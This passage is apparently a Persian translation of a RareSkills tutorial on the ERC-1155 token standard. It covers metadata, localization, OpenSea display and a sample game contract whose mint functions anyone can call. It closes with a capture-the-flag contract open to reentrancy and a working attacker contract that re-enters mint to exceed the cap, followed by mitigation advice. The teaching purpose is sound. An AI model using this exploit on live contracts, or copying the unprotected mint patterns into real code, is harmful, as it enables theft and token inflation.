این URI معمولاً به یک منبع خارج از زنجیره اشاره می کند، مانند یک سرور یا IPFS، جایی که متادیتا در آن ذخیره شده است.
ساختار JSON استاندارد ERC-1155 برای URI متادیتا، همانطور که در خود استاندارد آمده، به شکل زیر است:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
{ "title": "Token Metadata", "type": "object", "properties": { "name": { "type": "string", "description": "Identifies the asset to which this token represents" }, "decimals": { "type": "integer", "description": "The number of decimal places that the token amount should display - e.g. 18, means to divide the token amount by 1000000000000000000 to get its user representation." }, "description": { "type": "string", "description": "Describes the asset to which this token represents" }, "image": { "type": "string", "description": "A URI pointing to a resource with mime type image/* representing the asset to which this token represents. Consider making any images at a width between 320 and 1080 pixels and aspect ratio between 1.91:1 and 4:5 inclusive." }, "properties": { "type": "object", "description": "Arbitrary properties. Values may be strings, numbers, object or arrays." } } } |
1 2 3 4 5 6 7 8 9 10 11 12 13 |
{ "title": "RareSkills Car Metadata", "type": "object", "properties": { "name": "RareSkills Car #1", "description": "A high-performance electric car with cutting-edge technology.", "image": "https://image-uri/rareskills-car1.png", "year": 2024, "topSpeed": "200 mph", "batteryCapacity": "100 kWh", "features": ["Autopilot", "Full Self-Driving", "Premium Sound System"], } } |
title
هدف متادیتا را توصیف می کند، فیلد type
فرمت داده ای متادیتا را مشخص می کند، و فیلد properties
ویژگی ها یا اطلاعات تکمیلی بیشتری درباره خودرو را تعریف می کند.
فیلد Localization در ساختار JSON مربوط به URI
کلاینتهایی که از محلیسازی (Localization) پشتیبانی میکنند، میتوانند در صورت وجود فیلد localization
در فایل JSON مربوط به ERC-1155، اطلاعات توکن را در چند زبان مختلف نمایش دهند.
ساختار استاندارد متادیتای مربوط به localization
به صورت زیر تعریف میشود:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
{ "title": "Token Metadata", "type": "object", "properties": { ... "localization": { "type": "object", "required": ["uri", "default", "locales"], "properties": { "uri": { "type": "string", "description": "The URI pattern to fetch localized data from. This URI should contain the substring `{locale}` which will be replaced with the appropriate locale value before sending the request." }, "default": { "type": "string", "description": "The locale of the default data within the base JSON" }, "locales": { "type": "array", "description": "The list of locales for which data is available. These locales should conform to those defined in the Unicode Common Locale Data Repository (http://cldr.unicode.org/)." } } } } } |
localization
است و از قابلیت محلیسازی پشتیبانی میکند:
1 2 3 4 5 6 7 8 9 10 11 |
{ "name": "RareSkills Token", "description": "Each token represents a unique pass in RareSkills community.", "properties": { "localization": { "uri": "ipfs://xxx/{locale}.json", "default": "en", "locales": ["en", "es", "fr"] } } } |
locales
یک آرایه شامل سه عنصر است: en
، es
و fr
که در آن، en
بهعنوان زبان پیشفرض تعیین شده است. هر عنصر در این آرایه نمایانگر یک زبان است و دارای فایل متادیتای JSON مخصوص به همان زبان میباشد.
es.json:
1 2 3 4 |
{ "name": "RareSkills simbólico", "description": "Cada token representa un pase único en la comunidad RareSkills." } |
fr.json:
1 2 3 4 |
{ "name": "RareSkills Jeton", "description": "Chaque jeton représente un pass unique dans la communauté RareSkills." } |
مشابه با جایگزینی شناسه توکن در URI، اگر آدرس URI شامل رشته {locale}
باشد، کلاینتها موظفاند این بخش را با یکی از مقادیر موجود در آرایه locales
جایگزین کنند. نتیجه این جایگزینی باید به یک فایل JSON حاوی متادیتا به زبان مورد نظر منتهی شود.
مثال برای دریافت متادیتا به زبان فرانسوی
1. تابع uri
را با شناسه توکن 314592
فراخوانی کنید تا آدرس URI مربوط به متادیتای آن توکن را به دست آورید.
1 |
// Returned uri: https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json |
2. محتوای JSON را از آدرس بالا بهصورت خارج از زنجیره (off-chain) بخوانید تا به بخش localization
در متادیتا دسترسی پیدا کنید.
1 2 3 4 5 6 7 8 9 10 11 |
{ "name": "RareSkills Token", "description": "Each token represents a unique pass in RareSkills community.", "properties": { "localization": { "uri": "https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0/{locale}.json", "default": "en", "locales": ["en", "es", "fr"] } } } |
3. رشته {locale}
را در مقدار فیلد uri
جایگزین کنید با fr
، تا آدرس فایل متادیتای زبان فرانسوی تولید شود.
1 2 |
// آدرس URI برای نسخه فرانسوی: // [https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0/fr.json](https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json) |
هنگام کار با متادیتای ناشناخته و دریافت شده از منابع غیرمطمئن، حتماً پیش از پردازش، داده ها را پاکسازی (sanitize) کنید. هر فایل JSON که در رابط کاربری نمایش داده می شود، می تواند مسیر حملات XSS (اجرای اسکریپت مخرب در مرورگر) را هموار کند.
نحوه تفسیر متادیتا توسط OpenSea
قراردادهای ERC-1155 توسط پلتفرم OpenSea پشتیبانی می شوند و در این بخش توضیح داده می شود که OpenSea چگونه متادیتای تعریفشده در قرارداد ERC-1155 را تفسیر می کند.
یک نمونه واقعی از این فرآیند در بازی بلاکچینی Common Ground World قابل مشاهده است:
در زمان نگارش این مطلب، بازی Common Ground World دارای ۶۸۱ مجموعه (collection) بهعنوان دارایی های داخل بازی است که OpenSea از آن ها با عنوان “Unique items” (در کادر قرمز تصویر) یاد می کند.
مجموع تمام دارایی های موجود در این مجموعه ها حدود ۹ میلیون آیتم است (نمایشدادهشده در کادر سبز تصویر).
در ادامه، یک نمونه از یکی از مجموعه های این بازی معرفی می شود:
مجموعه Water Tank در بازی Common Ground World دارای حدود ۴,۸۰۰ آیتم است (نمایش داده شده در کادر سبز) که توسط تقریباً ۲,۹۰۰ آدرس متفاوت نگهداری میشوند (در کادر قرمز مشخص شده است).
نکته قابل توجه این است که OpenSea اطلاعات مربوط به تعداد کل توکنها را برای توکنهای ERC-721 نمایش نمیدهد، زیرا در استاندارد ERC-721، هر tokenId
فقط یک واحد دارد و تنها یک مالک مشخص برای آن وجود دارد.
برای مقایسه، در ادامه نمونهای تصادفی از یکی از توکنهای مجموعه Bored Ape Yacht Club نمایش داده شده که توسط آدرس F15C93 مالکیت دارد:
این نکته زمانی واضحتر میشود که به بخش Details در صفحه توکن مربوطه در OpenSea توجه کنید؛ همانطور که در کادر قرمز تصویر مشخص شده، این توکن بهوضوح از استاندارد ERC-1155 پیروی میکند:
پلتفرم OpenSea قادر است توضیحات (description) و ویژگی ها (traits) یک توکن را مستقیماً از متادیتای آن بارگذاری و نمایش دهد. این اطلاعات از طریق URI متادیتای مرتبط با توکن دریافت می شوند.
شما می توانید این فرآیند را بهراحتی مشاهده کنید؛ کافی است در صفحه مجموعه، روی Token ID کلیک کنید.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
{ "decimalPlaces": 0, "description": "Never underestimate the power of passive, on-demand water for your crops. Your Farmers will thank you!", "image": "https://tokens.gala.games/images/sandbox-games/town-star/storage/water-tank.gif", "name": "Water Tank", "properties": { "category": "Storage", "game": "Town Star", "rarity": { "hexcode": "#939393", "icon": "https://tokens.gala.games/images/sandbox-games/rarity/common.png", "label": "Common", "supplyLimit": 5159 }, "tokenRun": "storage" } } |
نمونهای از پیادهسازی ERC-1155
در ادامه، یک نمونه قرارداد ERC-1155 مربوط به یک بازی ساده ارائه شده است. این قرارداد با استفاده از نسخه انتزاعی OpenZeppelin از استاندارد ERC-1155 پیادهسازی شده و شامل چند تابع کمکی برای مدیریت وضعیت بازی است:
-
initializePlayer
: حساب یک بازیکن را با مقدار اولیهای از ارز درون بازی (که توسط ثابتINITIAL_IN_GAME_CURRENCY_BALANCE
تعریف شده) مقداردهی اولیه میکند. -
mintInGameCurrency
: برای بازیکن مشخصشده ارز درون بازی ایجاد (mint) میکند. -
mintCar
: به بازیکنان اجازه میدهد خودروهایی منحصر بهفرد بر پایه NFT ایجاد کنند.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
// SPDX-License-Identifier: MIT pragma solidity 0.8.24; import { ERC1155 } from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; contract GameAssets is ERC1155 { uint256 constant TOKEN_ID_IN_GAME_CURRENCY = 0; // شناسه توکن قابل تعویض uint256 constant TOKEN_ID_BASE_CAR_COLLECTION = 1; // شناسه پایه مجموعه خودرو (توکن غیرقابل تعویض) uint256 constant INITIAL_IN_GAME_CURRENCY_BALANCE = 1000; uint256 constant MINIMUM_AMOUNT = 1500; uint256 public nextTokenIndex; constructor(string memory uri) ERC1155(uri) {} function initializePlayer(address to, bytes memory data) public { mintInGameCurrency(to, INITIAL_IN_GAME_CURRENCY_BALANCE, data); } function mintInGameCurrency(address to, uint256 value, bytes memory data) public { _mint(to, TOKEN_ID_IN_GAME_CURRENCY, value, data); } function mintCar(address player, bytes memory data) public returns (uint256 carId) { // بررسی اینکه موجودی بازیکن از ارز درون بازی کمتر از حداقل لازم نباشد require(balanceOf(player, TOKEN_ID_IN_GAME_CURRENCY) >= MINIMUM_AMOUNT, ""); // فرمول تولید شناسه منحصر بهفرد برای NFT خودرو carId = (TOKEN_ID_BASE_CAR_COLLECTION << 128) + nextTokenIndex++; // ایجاد خودرو برای بازیکن _mint(player, carId, 1, data); } } |
این بازی قرار است شامل دو نوع توکن باشد:
-
ارز درون بازی ($IGC):
بازیکنان میتوانند این توکن قابل تعویض را با انجام مأموریتها به دست آورند. این توکن از نوع قابل تعویض (fungible) است. -
توکن غیرقابل تعویض (NFT):
این توکنها نمایانگر مجموعهای از خودروها هستند که بازیکنان میتوانند آنها را ایجاد (mint) کنند. هر خودرو یک NFT منحصربهفرد خواهد بود.
زمانی که قرارداد را مستقر (deploy) میکنیم:
-
آدرس قرارداد:
0xCc3958FE4Beb3bcb894c184362486eBEc2E1fD4D
-
آدرس بازیکن:
0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
در بخشهای بعدی، نحوه تعامل با این قرارداد برای مدیریت دارایی های توکن آن را مرحله به مرحله نمایش خواهیم داد.
یک مثال از بازی با استفاده از استاندارد ERC-1155 در سالیدیتی
فلوچارت زیر نشان میدهد که بازیکنان چگونه با قرارداد ERC-1155 بازی تعامل دارند. این تعامل شامل مراحل مختلفی مانند ایجاد (mint) ارز درون بازی و ایجاد خودروهای NFT است.
توکن 0 در ERC-1155: ایجاد (Mint) $IGC
فرض کنیم میخواهیم بازیکنان در ابتدای بازی با موجودی ۱۰۰۰ عدد از توکن $IGC شروع کنند. برای این کار میتوانیم با فراخوانی تابع initializePlayer
در قرارداد، این مقدار از توکن را برای هر بازیکن ایجاد (mint) کنیم.
این تابع، شناسه توکن مربوط به $IGC یعنی ۰ و مقدار مورد نظر را به تابع زیر از قرارداد پایه OpenZeppelin ارسال میکند:
1 |
_mint(address to, uint256 id, uint256 value, bytes memory data) |
تابع _mint
یکی از متدهای تعریفشده در کتابخانه OpenZeppelin برای ایجاد توکن است و مطابق استاندارد ERC-1155 رفتار میکند. این تابع:
-
بررسی های لازم برای پذیرش (acceptance checks) را انجام میدهد،
-
در صورت نیاز، تابع
safeTransferFrom
را فراخوانی می کند، -
و در نهایت رویداد TransferSingle را منتشر می کند (که در کادر آبی تصویر زیر مشاهده میشود).
پس از فراخوانی تابع initializePlayer
، می توانیم لاگ های زیر را مشاهده کنیم:
در کادر قرمز میتوان مشاهده کرد که رویداد TransferSingle
منتشر شده است، و در کادر سبز نشان داده شده که آدرس صفر (که نشاندهنده ایجاد توکن است) تعداد 1000 واحد از ارز درون بازی (با شناسه توکن 0) را به آدرس بازیکن ارسال کرده است.
ایجاد (Mint) توکن $IGC بیشتر
هر زمان که بازیکن ما یک مأموریت را با موفقیت به پایان میرساند، میخواهیم به او توکن $IGC بیشتری بهعنوان پاداش بدهیم. برای انجام این کار، کافی است تابع mintInGameCurrency
را در قرارداد بازی فراخوانی کنیم.
این تابع در نهایت تابع _mint
از کتابخانه OpenZeppelin را فراخوانی میکند و پارامترهای زیر را ارسال مینماید:
-
آدرس بازیکن:
0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
-
مقدار توکن برای ایجاد:
500
(بهعنوان پاداش) -
داده دلخواه:
bytes
خالی (در این مثال، دادهای ارسال نمیشود)
با فراخوانی تابع mintInGameCurrency
با این مقادیر، 500 توکن $IGC جدید برای بازیکن ایجاد میشود.
اکنون اگر موجودی توکن $IGC بازیکن را از طریق تابع balanceOf
بررسی کنیم:
می بینیم که بازیکن ما اکنون دارای موجودی 1500 عدد از توکن $IGC است (مقدار اولیه + پاداش).
توکن 1 در ERC-1155: ایجاد دارایی های غیرقابل تعویض (خودروها)
حالا فرض کنیم میخواهیم به بازیکنان اجازه دهیم خودرو mint کنند، مشروط بر اینکه حداقل مقدار مشخصی از توکن $IGC را در اختیار داشته باشند. توجه داشته باشید که مجموعه خودروها از نوع غیرقابل تعویض (non-fungible) هستند.
ابتدا برای هر NFT خودرو، یک فایل JSON مستقل و اختصاصی وجود خواهد داشت که ویژگیهای خودرو (مانند مدل، رنگ، قدرت، و غیره) را در خود دارد.
برای مثال، URI مربوط به اولین خودرو در مجموعه ما به شکل زیر خواهد بود:
1 |
https://token-cdn-domain/0000000000000000000000000000000100000000000000000000000000000000.json |
340282366920938463463374607431768211456 در دسیمال
یا
0x\textcolor{orange}{00000000000000000000000000000001}\textcolor{lightgreen}{00000000000000000000000000000000} در هگز
بخشهای نارنجی نشان دهنده شناسه مجموعه خودروها (collection ID = 1) هستند و بخشهای سبز نشان دهنده شناسه اولین خودرو در مجموعه (item ID = 0). این دو با هم یک شناسه یکتا تشکیل می دهند که به یک متادیتا اشاره دارد، مثلاً:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
{ "name": "Super Fast Car", "description": "This super fast car is not like any other, it's super fast.", "image": "https://images.com/{id}.png", "properties": { "features": { "speed": "100", "color": "blue", "model": "SuperFast x1000", "rims": "aluminum" } } } |
mintCar
را در قرارداد خود فراخوانی می کنیم تا NFT خودرو برای بازیکن ایجاد شود:
1 2 3 4 5 6 7 8 9 10 |
function mintCar(address player, bytes memory data) public returns (uint256 carId) { // بررسی اینکه موجودی بازیکن از توکن ارز درون بازی برابر یا بیشتر از مقدار حداقل مجاز باشد require(balanceOf(player, TOKEN_ID_IN_GAME_CURRENCY) >= MINIMUM_AMOUNT, ""); // ترفند ایجاد شناسه منحصربهفرد برای توکن غیرقابل تعویض (NFT) carId = (TOKEN_ID_BASE_CAR_COLLECTION << 128) + nextTokenIndex++; // ایجاد توکن خودرو برای بازیکن _mint(player, carId, 1, data); } |
متغیر carId
جایی است که «جادوی غیرقابل تعویض بودن» اتفاق می افتد. این متغیر یک شناسه یکتای توکن برای هر NFT خودرو محاسبه می کند، با ترکیب شناسه مجموعه خودروها و اندیس بعدی قابل استفاده برای توکن (که از صفر شروع می شود).
پس از فراخوانی تابع mintCar
:
همانطور که انتظار میرفت، یک توکن NFT خودرو (کادر زرد) از آدرس صفر به آدرس بازیکن ارسال (mint) شد.
🔴 نکته:
شناسه NFT (کادر قرمز) برابر است با:340282366920938463463374607431768211456
که نتیجه محاسبه (1 << 128) + 0
میباشد؛
در اینجا عدد ۱ نشان دهنده شناسه پایه توکن برای مجموعه خودرو است و عدد ۰ شناسه آیتم (itemID) مربوط به NFT درون آن مجموعه است.
فراتر از مدیریت همزمان توکن های قابل تعویض و غیرقابل تعویض در یک قرارداد، توجه به آسیبپذیری های امنیتی در قراردادهای ERC-1155 نیز بسیار حیاتی است. یکی از آسیبپذیری های رایج، حملات reentrancy (بازگشتی) است که ممکن است فرآیند ایجاد یا انتقال توکن را مورد سوءاستفاده قرار دهد.
حملات Reentrancy در عملیات Mint و Transfer در ERC-1155
بهدلیل وجود توابع callback در عملیات safeTransferFrom
و safeBatchTransferFrom
، قراردادهایی که از استاندارد ERC-1155 استفاده میکنند، در صورت پیادهسازی نادرست ممکن است در برابر حملات بازگشتی (reentrancy attacks) آسیبپذیر باشند.
خود استاندارد ERC-1155 ذاتاً ایمن است، اما اضافه کردن کدهای ناامن مانند mint بدون محافظت میتواند این آسیبپذیری را ایجاد کند.
نمونه زیر از مجموعه Solidity Riddles ارائهشده توسط RareSkills CTF، یک پیادهسازی ERC-1155 است که در برابر حمله بازگشتی قابل بهرهبرداری است:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.15; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; contract Overmint1_ERC1155 is ERC1155 { using Address for address; mapping(address => mapping(uint256 => uint256)) public amountMinted; mapping(uint256 => uint256) public totalSupply; constructor() ERC1155("Overmint1_ERC1155") {} function mint(uint256 id, bytes calldata data) external { require(amountMinted[msg.sender][id] <= 3, "max 3 NFTs"); totalSupply[id]++; _mint(msg.sender, id, 1, data); amountMinted[msg.sender][id]++; } function success(address _attacker, uint256 id) external view returns (bool) { return balanceOf(_attacker, id) == 5; } } |
mint
سعی دارد مانع از این شود که msg.sender
بیش از ۳ توکن NFT ایجاد کند. اما این تابع نه تنها قفل مقابله با reentrancy ندارد، بلکه ترتیب عملیات آن نیز از الگوی checks-effects-interactions پیروی نمی کند.
توجه داشته باشید که تابع mint
تلاش می کند از ایجاد بیش از ۳ NFT توسط msg.sender
جلوگیری کند. با این حال، این تابع نه قفل بازگشتی (reentrancy lock) دارد و نه ترتیب عملیات آن از الگوی بررسی–تأثیر–تعامل (checks-effects-interactions) پیروی می کند، چرا که مقدار توکن های ایجادشده برای msg.sender
را بعد از انجام mint و اجرای callback بررسی می کند. بنابراین، مهاجم می تواند از این قرارداد سوءاستفاده کند و از درون تابع onERC1155Received
قرارداد مخرب خود، تابع mint
را دوباره فراخوانی کند، همان طور که قرارداد مخرب زیر نشان می دهد:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
contract AttackOvermint1_ERC1155 { Overmint1_ERC1155 overmint1_ERC1155; constructor(Overmint1_ERC1155 _overmint1_ERC1155) { overmint1_ERC1155 = _overmint1_ERC1155; } function attackMint(uint256 id) external { overmint1_ERC1155.mint(id, ""); } function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) public returns (bytes4) { uint256 balance = overmint1_ERC1155.balanceOf(address(this), _id); if (balance < 5) { overmint1_ERC1155.mint(1, ""); } return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")); } } |
مهاجم ابتدا تابعی را در قرارداد مخرب خود فراخوانی میکند تا فرآیند mint آغاز شود. این کار باعث میشود مقدار msg.sender
برابر با آدرس قرارداد مهاجم باشد. زمانی که NFT ایجاد (mint) میشود، تابع onERC1155Received
در قرارداد مهاجم فراخوانی خواهد شد. این تابع بررسی میکند که آیا مقدار مورد نظر قبلاً mint شده یا خیر، و اگر هنوز به آن مقدار نرسیده باشد، مجدداً وارد تابع mint
میشود (reenter).
برای پیادهسازی امن استاندارد ERC-1155، ضروری است که توسعهدهندگان از این آسیبپذیری جلوگیری کنند؛ یا با پیروی دقیق از الگوی checks-effects-interactions و/یا با پیادهسازی قفلهای reentrancy در توابع حساس مانند mint و transfer.
نتیجهگیری
استاندارد ERC-1155 یک رابط استاندارد شده برای پیادهسازی چند نوع توکن در قالب یک قرارداد واحد ارائه میدهد. این ویژگی امکان استفاده از مکانیزم هایی مانند عملیات دستهای (batch operations)، تأییدیههای کلی برای چند توکن بهصورت همزمان و همچنین صرفهجویی در هزینه گس هنگام استقرار قرارداد را فراهم می کند.
این استاندارد نیاز به تعامل با چندین قرارداد جداگانه برای مدیریت مجموعه های مختلف توکن را از بین میبرد و با این کار، بهرهوری گس و تجربه کاربری (UX) را در بازی های بلاکچینی و پروژه هایی که از توکن های متنوع استفاده می کنند، به شکل چشمگیری بهبود می بخشد.
راستی! برای دریافت مطالب جدید در کانال تلگرام یا پیج اینستاگرام سورس باران عضو شوید.
- انتشار: ۲۸ اردیبهشت ۱۴۰۴
دسته بندی موضوعات
- آموزش ارز دیجیتال
- آموزش برنامه نویسی
- آموزش متنی برنامه نویسی
- اطلاعیه و سایر مطالب
- پروژه برنامه نویسی
- دوره های تخصصی برنامه نویسی
- رپورتاژ
- فیلم های آموزشی
- ++C
- ADO.NET
- Adobe Flash
- Ajax
- AngularJS
- apache
- ARM
- Asp.Net
- ASP.NET MVC
- AVR
- Bootstrap
- CCNA
- CCNP
- CMD
- CSS
- Dreameaver
- EntityFramework
- HTML
- IOS
- jquery
- Linq
- Mysql
- Oracle
- PHP
- PHPMyAdmin
- Rational Rose
- silver light
- SQL Server
- Stimulsoft Reports
- Telerik
- UML
- VB.NET&VB6
- WPF
- Xml
- آموزش های پروژه محور
- اتوکد
- الگوریتم تقریبی
- امنیت
- اندروید
- اندروید استودیو
- بک ترک
- بیسیک فور اندروید
- پایتون
- جاوا
- جاوا اسکریپت
- جوملا
- دلفی
- دوره آموزش Go
- دوره های رایگان پیشنهادی
- زامارین
- سئو
- ساخت CMS
- سی شارپ
- شبکه و مجازی سازی
- طراحی الگوریتم
- طراحی بازی
- طراحی وب
- فتوشاپ
- فریم ورک codeigniter
- فلاتر
- کانستراکت
- کریستال ریپورت
- لاراول
- معماری کامپیوتر
- مهندسی اینترنت
- هوش مصنوعی
- یونیتی
- کتاب های آموزشی
- Android
- ASP.NET
- AVR
- LINQ
- php
- Workflow
- اچ تی ام ال
- بانک اطلاعاتی
- برنامه نویسی سوکت
- برنامه نویسی موبایل
- پاسکال
- پایان نامه
- پایتون
- جاوا
- جاوا اسکریپت
- جی کوئری
- داده کاوی
- دلفی
- رباتیک
- سئو
- سایر کتاب ها
- سخت افزار
- سی اس اس
- سی پلاس پلاس
- سی شارپ
- طراحی الگوریتم
- فتوشاپ
- مقاله
- مهندسی نرم افزار
- هک و امنیت
- هوش مصنوعی
- ویژوال بیسیک
- نرم افزار و ابزار برنامه نویسی
- وردپرس